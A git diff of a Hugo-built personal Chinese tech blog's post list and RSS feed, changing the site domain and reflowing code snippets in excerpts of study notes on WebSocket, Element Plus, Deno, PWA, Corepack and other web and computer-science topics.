+安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://chenjunlinabc.github.io/posts/161/></a></article><article class=post-entry><header class=entry-header><h2>计算机图形学学习笔记</h2></header><div class=entry-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
 1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器
@@ -108,7 +104,7 @@
 1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）
 1995年，Directx 1.0
 1997年，OpenGL 1.1
-1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=entry-footer><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://xiaochenabc123.github.io/posts/159/></a></article><article class=post-entry><header class=entry-header><h2>WebSocket学习笔记</h2></header><div class=entry-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
+1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=entry-footer><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://chenjunlinabc.github.io/posts/159/></a></article><article class=post-entry><header class=entry-header><h2>WebSocket学习笔记</h2></header><div class=entry-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
 WebSocket客户端配置
@@ -121,62 +117,20 @@
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket('ws://localhost:8080')
-ws.onopen = () =>{
-console.log("连接中")
-ws.send('hallo word') // 向服务端发送数据
-}
-ws.onerror = () =>{
-console.log('连接失败')
-}
-ws.onmessage = (evt) =>{
-console.log('连接成功，正在获取数据')
-if(typeof evt.data === String){
-console.log('hallo'+evt.data)
-}else if(evt.data instanceof ArrayBuffer){
-let data = evt.data
-console.log('数据：'+data)
-}
-ws.close() // 手动关闭连接
-}
-ws.onclose = () =>{
-console.log('连接已关闭')
-}
-还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
-WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读...</p></div><footer class=entry-footer><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://xiaochenabc123.github.io/posts/158/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
+const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log("连接中") ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读...</p></div><footer class=entry-footer><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://chenjunlinabc.github.io/posts/158/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus –save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from 'element-plus'
-import 'element-plus/dist/index.css'
-按需导入
+import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from 'unplugin-auto-import/vite'
-import Components from 'unplugin-vue-components/vite'
-...
-plugins: [
-AutoImport({
-resolvers: [ElementPlusResolver()],
-}),
-Components({
-resolvers: [ElementPlusResolver()],
-}),
-],
-这个组件库还支持module导入的方式手动按需使用，例如：
-&lt;template>
-&lt;el-button>I am ElButton&lt;/el-button>
-&lt;/template>
-&lt;script>
-import { ElButton } from 'element-plus'
-export default {
-components: { ElButton },
-}
-&lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://xiaochenabc123.github.io/posts/157/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/posts/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&lt;template> &lt;el-button>I am ElButton&lt;/el-button> &lt;/template> &lt;script> import { ElButton } from 'element-plus' export default { components: { ElButton }, } &lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://chenjunlinabc.github.io/posts/157/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/posts/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/index.xml b/posts/index.xml
index ce661e22..fe6b203f 100644
--- a/posts/index.xml
+++ b/posts/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Posts on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/posts/</link>
+    <link>https://chenjunlinabc.github.io/posts/</link>
     <description>Recent content in Posts on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/posts/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/posts/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>汇编基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/162/</link>
+      <link>https://chenjunlinabc.github.io/posts/162/</link>
       <pubDate>Sun, 20 Nov 2022 11:49:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/162/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/162/</guid>
       <description>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
@@ -75,10 +75,10 @@ x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大
     
     <item>
       <title>Deno js运行时环境学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/161/</link>
+      <link>https://chenjunlinabc.github.io/posts/161/</link>
       <pubDate>Fri, 11 Nov 2022 07:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/161/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/161/</guid>
       <description>Deno是基于V8引擎，使用Rust构建的JavaScript &amp;amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
@@ -97,7 +97,7 @@ https://github.com/denoland/deno/releases
 检查是否安装完成
 deno &amp;ndash;version
 第一个例子
-import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot;
DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; {
console.log(response)
})
运行
+import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot; DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过&amp;ndash;allow-net默认运行，例如：deno run &amp;ndash;allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -117,10 +117,10 @@ deno内置工具
     
     <item>
       <title>计算机图形学学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/159/</link>
+      <link>https://chenjunlinabc.github.io/posts/159/</link>
       <pubDate>Tue, 08 Nov 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/159/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/159/</guid>
       <description>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
@@ -147,10 +147,10 @@ Whirlwind电子管计算机设计之初是美国空军训练飞行员，半自
     
     <item>
       <title>WebSocket学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/158/</link>
+      <link>https://chenjunlinabc.github.io/posts/158/</link>
       <pubDate>Sat, 05 Nov 2022 14:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/158/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/158/</guid>
       <description>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
@@ -164,37 +164,37 @@ WebSocket.onclose是指定连接关闭后执行的回调函数
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket(&#39;ws://localhost:8080&#39;)
ws.onopen = () =&amp;gt;{
console.log(&amp;quot;连接中&amp;quot;)
ws.send(&#39;hallo word&#39;) // 向服务端发送数据
}
ws.onerror = () =&amp;gt;{
console.log(&#39;连接失败&#39;)
}
ws.onmessage = (evt) =&amp;gt;{
console.log(&#39;连接成功，正在获取数据&#39;)
if(typeof evt.data === String){
console.log(&#39;hallo&#39;+evt.data)
}else if(evt.data instanceof ArrayBuffer){
let data = evt.data
console.log(&#39;数据：&#39;+data)
}
ws.close() // 手动关闭连接
}
ws.onclose = () =&amp;gt;{
console.log(&#39;连接已关闭&#39;)
}
还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+const ws = new WebSocket(&#39;ws://localhost:8080&#39;) ws.onopen = () =&amp;gt;{ console.log(&amp;quot;连接中&amp;quot;) ws.send(&#39;hallo word&#39;) // 向服务端发送数据 } ws.onerror = () =&amp;gt;{ console.log(&#39;连接失败&#39;) } ws.onmessage = (evt) =&amp;gt;{ console.log(&#39;连接成功，正在获取数据&#39;) if(typeof evt.data === String){ console.log(&#39;hallo&#39;+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log(&#39;数据：&#39;+data) } ws.close() // 手动关闭连接 } ws.onclose = () =&amp;gt;{ console.log(&#39;连接已关闭&#39;) } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
 WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读</description>
     </item>
     
     <item>
       <title>简单使用Element Plus组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/157/</link>
+      <link>https://chenjunlinabc.github.io/posts/157/</link>
       <pubDate>Thu, 03 Nov 2022 17:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/157/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/157/</guid>
       <description>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus &amp;ndash;save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from &#39;element-plus&#39;
import &#39;element-plus/dist/index.css&#39;
按需导入
+import ElementPlus from &#39;element-plus&#39; import &#39;element-plus/dist/index.css&#39; 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from &#39;unplugin-auto-import/vite&#39;
import Components from &#39;unplugin-vue-components/vite&#39;
...
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()],
}),
Components({
resolvers: [ElementPlusResolver()],
}),
],
这个组件库还支持module导入的方式手动按需使用，例如：
-&amp;lt;template&amp;gt;
&amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt;
&amp;lt;/template&amp;gt;
&amp;lt;script&amp;gt;
import { ElButton } from &#39;element-plus&#39;
export default {
components: { ElButton },
}
&amp;lt;/script&amp;gt;
</description>
+import AutoImport from &#39;unplugin-auto-import/vite&#39; import Components from &#39;unplugin-vue-components/vite&#39; ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&amp;lt;template&amp;gt; &amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { ElButton } from &#39;element-plus&#39; export default { components: { ElButton }, } &amp;lt;/script&amp;gt; </description>
     </item>
     
     <item>
       <title>计算机网络学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/156/</link>
+      <link>https://chenjunlinabc.github.io/posts/156/</link>
       <pubDate>Tue, 01 Nov 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/156/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/156/</guid>
       <description>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
@@ -262,10 +262,10 @@ IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，
     
     <item>
       <title>计算机组成原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/155/</link>
+      <link>https://chenjunlinabc.github.io/posts/155/</link>
       <pubDate>Tue, 01 Nov 2022 02:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/155/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/155/</guid>
       <description>计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
@@ -338,36 +338,36 @@ ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例
     
     <item>
       <title>简单使用PWA技术</title>
-      <link>https://xiaochenabc123.github.io/posts/154/</link>
+      <link>https://chenjunlinabc.github.io/posts/154/</link>
       <pubDate>Fri, 28 Oct 2022 01:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/154/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/154/</guid>
       <description>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register(&#39;./sw.js&#39;,{scope: &#39;/&#39;}).then(
registration =&amp;gt; {
console.log(registration)
},error =&amp;gt; {
console.error(error)
}
)
window.onload = function() {
document.body.append(&#39;PWA!&#39;)
}
sw.js
-const cachename = &#39;v1&#39;
self.addEventListener(&#39;install&#39;, function (event) {
console.log(&#39;install&#39;,event)
// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
event.waitUntil(new Promise(resolve =&amp;gt;{
setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
}))
// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
event.waitUntil(caches.open(name).then(cache =&amp;gt;{
cache.addAll([
&#39;/&#39;,
&#39;./1.img&#39;
])
})) // 开启cache api缓存系统
})
self.</description>
+navigator.serviceWorker.register(&#39;./sw.js&#39;,{scope: &#39;/&#39;}).then( registration =&amp;gt; { console.log(registration) },error =&amp;gt; { console.error(error) } ) window.onload = function() { document.body.append(&#39;PWA!&#39;) } sw.js
+const cachename = &#39;v1&#39; self.addEventListener(&#39;install&#39;, function (event) { console.log(&#39;install&#39;,event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =&amp;gt;{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =&amp;gt;{ cache.addAll([ &#39;/&#39;, &#39;./1.img&#39; ]) })) // 开启cache api缓存系统 }) self.</description>
     </item>
     
     <item>
       <title>ECharts数据可视化图表库简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/153/</link>
+      <link>https://chenjunlinabc.github.io/posts/153/</link>
       <pubDate>Sat, 18 Jun 2022 00:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/153/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/153/</guid>
       <description>ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
第一个实例
-import * as echarts from &#39;echarts&#39;
let app = echarts.init(document.getElementById(&#39;app&#39;), null, {
width: 800,
height: 500
})
let data = {
title: {
text: &#39;用户管理&#39;
},
tooltip:{},
legend: {
data: [&#39;用户&#39;]
},
xAxis: {
data: [
&#39;root&#39;,&#39;admin&#39;,&#39;user1&#39;,&#39;user2&#39;,&#39;user3&#39;
]
},
yAxis: {},
series: [
{
name: &#39;用户权限&#39;,
type: &#39;bar&#39;,
data: [
10,8,5,1,3
]
}
]
}
app.setOption(data)
注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</description>
+npm install echarts --save 第一个实例
+import * as echarts from &#39;echarts&#39; let app = echarts.init(document.getElementById(&#39;app&#39;), null, { width: 800, height: 500 }) let data = { title: { text: &#39;用户管理&#39; }, tooltip:{}, legend: { data: [&#39;用户&#39;] }, xAxis: { data: [ &#39;root&#39;,&#39;admin&#39;,&#39;user1&#39;,&#39;user2&#39;,&#39;user3&#39; ] }, yAxis: {}, series: [ { name: &#39;用户权限&#39;, type: &#39;bar&#39;, data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</description>
     </item>
     
     <item>
       <title>Nuxt.js学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/152/</link>
+      <link>https://chenjunlinabc.github.io/posts/152/</link>
       <pubDate>Sun, 05 Jun 2022 21:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/152/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/152/</guid>
       <description>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
@@ -384,10 +384,10 @@ yarn start
     
     <item>
       <title>简单使用Scoop包管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/150/</link>
+      <link>https://chenjunlinabc.github.io/posts/150/</link>
       <pubDate>Fri, 20 May 2022 22:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/150/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/150/</guid>
       <description>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
@@ -428,36 +428,36 @@ scoop update *</description>
     
     <item>
       <title>简单使用Corepack-包管理器的管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/149/</link>
+      <link>https://chenjunlinabc.github.io/posts/149/</link>
       <pubDate>Fri, 13 May 2022 00:09:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/149/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/149/</guid>
       <description>Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
启用corepack
-corepack enable
限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-&amp;quot;packageManager&amp;quot;: &amp;quot;yarn@1.22.19&amp;quot;
表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+&amp;quot;packageManager&amp;quot;: &amp;quot;yarn@1.22.19&amp;quot; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
或者获取完成后立刻使用
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
 corepack hydrate D:/demo/test.tgz --activate </description>
     </item>
     
     <item>
       <title>编译原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/148/</link>
+      <link>https://chenjunlinabc.github.io/posts/148/</link>
       <pubDate>Sun, 08 May 2022 03:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/148/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/148/</guid>
       <description>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
@@ -495,24 +495,24 @@ let: Keyword a: Variable =: Operator 1: Integer
     
     <item>
       <title>vuejs底层原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/147/</link>
+      <link>https://chenjunlinabc.github.io/posts/147/</link>
       <pubDate>Tue, 26 Apr 2022 20:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/147/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/147/</guid>
       <description>组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from &#39;vue&#39;
import App from &#39;./app&#39;
const app = createApp(App)
app.mount(&#39;#app&#39;)
通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from &#39;vue&#39; import App from &#39;./app&#39; const app = createApp(App) app.mount(&#39;#app&#39;) 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
 ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</description>
     </item>
     
     <item>
       <title>简单使用Pm2---node进程管理工具</title>
-      <link>https://xiaochenabc123.github.io/posts/pm2/</link>
+      <link>https://chenjunlinabc.github.io/posts/pm2/</link>
       <pubDate>Tue, 19 Apr 2022 20:39:27 +0800</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/pm2/</guid>
